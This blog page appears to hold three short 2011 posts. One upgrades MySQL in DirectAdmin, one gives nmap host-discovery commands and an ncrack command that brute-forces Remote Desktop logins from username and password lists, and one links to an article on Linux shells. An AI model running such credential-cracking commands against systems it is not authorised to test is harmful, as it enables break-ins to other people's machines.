lo0.ro cat /dev/null > stupidity – nobody is safe

20Jul/110

Upgrade MySQL in DirectAdmin

Step 1. Do a server backup. shit things can go wrong

Step 2.

[cc lang="bash"]cd /usr/local/directadmin/custombuild
nano options.conf[/cc]

Modify the following in options.conf:

[cc lang="bash"]mysql=5.1
mysql_inst=yes
mysql_backup=yes[/cc]
Where mysql= can be 5.1, 5.0 or 4.1.

Step 3. Save/exit, then type:

[cc lang="bash"]./build mysql[/cc]
After the mysql update, always recompile php.

[cc lang="bash"]./build php n[/cc]

1Jun/110

Remote desktop credentials cracking with Ncrack

Found a very well written tutorial on how to crack a RDP host here.

In less lines here is how-to:

Scan
[cc lang="bash"]nmap -sP 192.168.56.0/24 | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' > 192.168.56.0.txt[/cc]

[cc lang="bash"]nmap -F -iL 192.168.56.0.txt[/cc]

create a user list and a passwd list (my.usr & my.pwd)

[cc lang="bash"]ncrack -vv -U my.usr -P my.pwd 192.168.56.10:3389,CL=1[/cc]

thats it.

Do not use this tools on live production systems. Educational purpose only.

1Jun/110

seven linux shells using built in tools

This is a must read: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/